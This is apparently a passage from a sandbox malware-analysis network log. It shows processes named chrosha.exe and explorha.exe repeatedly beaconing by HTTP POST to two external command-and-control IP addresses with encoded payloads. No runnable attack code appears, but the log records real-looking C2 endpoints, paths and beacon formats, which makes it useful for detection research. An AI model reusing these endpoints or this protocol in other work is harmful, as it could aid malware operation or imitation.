Apr 19, 2024 03:33:42.444777012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.5	50659	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:42.388545036 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:42.640345097 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.5	50660	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:42.694914103 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:42.943171978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.5	50661	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:42.892180920 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:43.145361900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.5	50662	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:43.302375078 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:43.546168089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.5	50663	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:43.518923998 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:43.767930031 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.5	50664	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:43.791470051 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:44.038248062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.5	50665	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:44.024552107 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:44.278537035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.5	50666	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:44.401892900 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:44.646271944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.5	50667	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:44.640439987 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:44.888995886 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.5	50668	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:44.899013042 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:45.149136066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.5	50669	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:45.140919924 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:45.388838053 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.5	50670	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:45.505260944 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:45.749106884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.5	50671	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:45.755362988 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:45.999897003 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.5	50672	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:45.993355989 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:46.237643003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.5	50673	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:46.249335051 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:46.498030901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.5	50674	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:46.599246025 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:46.841931105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.5	50675	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:46.851942062 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:47.098614931 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.5	50676	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:47.095530033 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:47.350264072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.5	50677	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:47.355653048 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:33:47.606002092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.5	50678	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:47.713692904 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:47.957876921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.5	50679	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:47.966485977 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:33:48.218213081 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.5	50680	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:33:48.208069086 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:33:48.457617998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.5	50681	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
